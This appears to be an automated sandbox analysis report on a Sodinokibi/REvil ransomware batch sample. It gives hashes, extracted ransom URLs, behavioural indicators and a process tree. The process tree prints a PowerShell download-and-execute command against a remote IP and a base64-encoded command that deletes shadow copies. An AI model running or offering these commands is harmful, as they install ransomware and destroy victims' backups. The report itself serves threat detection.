Analysis
-
max time kernel
140s -
max time network
148s -
platform
windows7_x64 -
resource
win7v200217 -
submitted
25-03-2020 22:10
Static task
static1
Behavioral task
behavioral1
Sample
3Nu9v5ZW.bat
Resource
win7v200217
Behavioral task
behavioral2
Sample
3Nu9v5ZW.bat
Resource
win10v200217
General
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Target
3Nu9v5ZW.bat
-
Size
195B
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MD5
eecd3a82bcdfa01935bc0d836b329a5b
-
SHA1
f26fe622fd6b58796dfb119d4d506758bb63f495
-
SHA256
ab52018e0d9d17dd67e02f4ce6525d4e846f14b36348aab1c7c837c0596ac433
-
SHA512
0842c48d0be5286338d2eee0e7af3643851758cd6504b4f4689b19d4ecc82c714ac7aa3c22f457c3dbe42e391b734949bed000fdbf206b8124367ec6ab0ec474
Malware Config
Extracted
http://185.103.242.78/pastes/3Nu9v5ZW
Extracted
C:\678l89-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7E685D5578AF449D
http://decryptor.cc/7E685D5578AF449D
Signatures
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Suspicious use of AdjustPrivilegeToken 7 IoCs
Processes:
powershell.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1868 powershell.exe Token: SeDebugPrivilege 1868 powershell.exe Token: SeDebugPrivilege 1972 powershell.exe Token: SeBackupPrivilege 1368 vssvc.exe Token: SeRestorePrivilege 1368 vssvc.exe Token: SeAuditPrivilege 1368 vssvc.exe Token: SeTakeOwnershipPrivilege 1868 powershell.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepowershell.exepid process 1868 powershell.exe 1868 powershell.exe 1868 powershell.exe 1972 powershell.exe 1972 powershell.exe -
Blacklisted process makes network request 200 IoCs
Processes:
powershell.exeflow pid process 3 1868 powershell.exe 6 1868 powershell.exe 8 1868 powershell.exe 10 1868 powershell.exe 12 1868 powershell.exe 14 1868 powershell.exe 16 1868 powershell.exe 18 1868 powershell.exe 20 1868 powershell.exe 22 1868 powershell.exe 23 1868 powershell.exe 26 1868 powershell.exe 27 1868 powershell.exe 29 1868 powershell.exe 30 1868 powershell.exe 32 1868 powershell.exe 34 1868 powershell.exe 36 1868 powershell.exe 37 1868 powershell.exe 40 1868 powershell.exe 41 1868 powershell.exe 43 1868 powershell.exe 46 1868 powershell.exe 48 1868 powershell.exe 50 1868 powershell.exe 52 1868 powershell.exe 54 1868 powershell.exe 57 1868 powershell.exe 59 1868 powershell.exe 61 1868 powershell.exe 63 1868 powershell.exe 65 1868 powershell.exe 66 1868 powershell.exe 68 1868 powershell.exe 70 1868 powershell.exe 72 1868 powershell.exe 73 1868 powershell.exe 77 1868 powershell.exe 78 1868 powershell.exe 80 1868 powershell.exe 82 1868 powershell.exe 84 1868 powershell.exe 86 1868 powershell.exe 88 1868 powershell.exe 91 1868 powershell.exe 92 1868 powershell.exe 94 1868 powershell.exe 96 1868 powershell.exe 98 1868 powershell.exe 100 1868 powershell.exe 101 1868 powershell.exe 103 1868 powershell.exe 104 1868 powershell.exe 106 1868 powershell.exe 107 1868 powershell.exe 109 1868 powershell.exe 111 1868 powershell.exe 113 1868 powershell.exe 115 1868 powershell.exe 116 1868 powershell.exe 118 1868 powershell.exe 120 1868 powershell.exe 122 1868 powershell.exe 124 1868 powershell.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\072j12k343871.bmp" powershell.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\System32\CatRoot2\dberr.txt powershell.exe -
Modifies service 2 TTPs 4 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Drops file in Program Files directory 19 IoCs
Processes:
powershell.exedescription ioc process File created \??\c:\program files\microsoft sql server compact edition\v3.5\desktop\678l89-readme.txt powershell.exe File created \??\c:\program files\678l89-readme.txt powershell.exe File opened for modification \??\c:\program files\ConvertToFormat.ini powershell.exe File opened for modification \??\c:\program files\RestartSave.xltm powershell.exe File opened for modification \??\c:\program files\SuspendGrant.m4a powershell.exe File opened for modification \??\c:\program files\UnpublishSync.aifc powershell.exe File created \??\c:\program files\microsoft sql server compact edition\v3.5\678l89-readme.txt powershell.exe File created \??\c:\program files (x86)\678l89-readme.txt powershell.exe File opened for modification \??\c:\program files\EditRepair.mpv2 powershell.exe File opened for modification \??\c:\program files\SkipApprove.xhtml powershell.exe File opened for modification \??\c:\program files\DisableCopy.M2T powershell.exe File opened for modification \??\c:\program files\ExpandProtect.ods powershell.exe File opened for modification \??\c:\program files\GrantOpen.inf powershell.exe File opened for modification \??\c:\program files\LockBackup.au powershell.exe File created \??\c:\program files\microsoft sql server compact edition\678l89-readme.txt powershell.exe File opened for modification \??\c:\program files\MoveWait.tif powershell.exe File opened for modification \??\c:\program files\RestartUninstall.midi powershell.exe File opened for modification \??\c:\program files\SplitRestart.bmp powershell.exe File opened for modification \??\c:\program files\UnpublishConvertTo.rmi powershell.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
powershell.exepid process 1868 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
cmd.exepowershell.exedescription pid process target process PID 1844 wrote to memory of 1868 1844 cmd.exe powershell.exe PID 1868 wrote to memory of 1972 1868 powershell.exe powershell.exe PID 1868 wrote to memory of 1972 1868 powershell.exe powershell.exe PID 1868 wrote to memory of 1972 1868 powershell.exe powershell.exe PID 1868 wrote to memory of 1972 1868 powershell.exe powershell.exe -
Processes:
powershell.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\75E0ABB6138512271C04F85FDDDE38E4B7242EFE\Blob = 0400000001000000100000009414777e3e5efd8f30bd41b0cfe7d0300f0000000100000014000000bf4d2c390bbf0aa3a2b7ea2dc751011bf5fd422e190000000100000010000000a8827a3cbd2d87d783b59b8062c87e9a03000000010000001400000075e0abb6138512271c04f85fddde38e4b7242efe1d000000010000001000000073621e116224668780b2d2bee454e52e1400000001000000140000009be20757671c1ec06a06de59b49a2ddfdc19862e0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802022000000001000000be030000308203ba308202a2a003020102020b0400000000010f8626e60d300d06092a864886f70d0101050500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523231133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3036313231353038303030305a170d3231313231353038303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523231133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100a6cf240ebe2e6f28994542c4ab3e21549b0bd37f8470fa12b3cbbf875fc67f86d3b2305cd6fdadf17bdce5f86096099210f5d053defb7b7e7388ac52887b4aa6ca49a65ea8a78c5a11bc7a82ebbe8ce9b3ac962507974a992a072fb41e77bf8a0fb5027c1b96b8c5b93a2cbcd612b9eb597de2d006865f5e496ab5395e8834ecbc780c0898846ca8cd4bb4a07d0c794df0b82dcb21cad56c5b7de1a02984a1f9d39449cb24629120bcdd0bd5d9ccf9ea270a2b7391c69d1bacc8cbe8e0a0f42f908b4dfbb0361bf6197a85e06df26113885c9fe0930a51978a5aceafabd5f7aa09aa60bddcd95fdf72a960135e0001c94afa3fa4ea070321028e82ca03c29b8f0203010001a3819c308199300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604149be20757671c1ec06a06de59b49a2ddfdc19862e30360603551d1f042f302d302ba029a0278625687474703a2f2f63726c2e676c6f62616c7369676e2e6e65742f726f6f742d72322e63726c301f0603551d230418301680149be20757671c1ec06a06de59b49a2ddfdc19862e300d06092a864886f70d01010505000382010100998153871c68978691ece04ab8440bab81ac274fd6c1b81c4378b30c9afcea2c3c6e611b4d4b29f59f051d26c1b8e983006245b6a90893b9a9334b189ac2f887884edbdd71341ac154da463fe0d32aab6d5422f53a62cd206fba2989d7dd91eed35ca23ea15b41f5dfe564432de9d539abd2a2dfb78bd0c080191c45c02d8ce8f82da4745649c505b54f15de6e44783987a87ebbf3791891bbf46f9dc1f08c358c5d01fbc36db9ef446d7946317e0afea982c1ffefab6e20c450c95f9d4d9b178c0ce501c9a0416a7353faa550b46e250ffb4c18f4fd52d98e69b1e8110fde88d8fb1d49f7aade95cf2078c26012db25408c6afc7e4238406412f79e81e1932e powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b1900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd90b000000010000001200000044006900670069004300650072007400000014000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd155090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703082000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 430000000100000000000000040000000100000010000000d474de575c39b2d39c8583c5c065498a0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703082000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 040000000100000010000000324a4bbbc863699bbe749ac6dd1d46240f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e650190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a1d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e709000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000002000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794 powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\75E0ABB6138512271C04F85FDDDE38E4B7242EFE powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 powershell.exe -
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Discovering connected drives 3 TTPs 7 IoCs
Processes:
powershell.execmd.exepowershell.exedescription ioc process File opened (read-only) \??\C: powershell.exe File opened (read-only) \??\A: powershell.exe File opened (read-only) \??\B: powershell.exe File opened (read-only) \??\E: powershell.exe File opened (read-only) \??\C: cmd.exe File opened (read-only) \??\F: powershell.exe File opened (read-only) \??\C: powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\3Nu9v5ZW.bat"1⤵
- Suspicious use of WriteProcessMemory
- Discovering connected drives
PID:1844 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/3Nu9v5ZW');Invoke-ZMQGDQFFVPNG;Start-Sleep -s 10000"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Sets desktop wallpaper using registry
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of WriteProcessMemory
- Modifies system certificate store
- Discovering connected drives
PID:1868 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Discovering connected drives
PID:1972
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:1368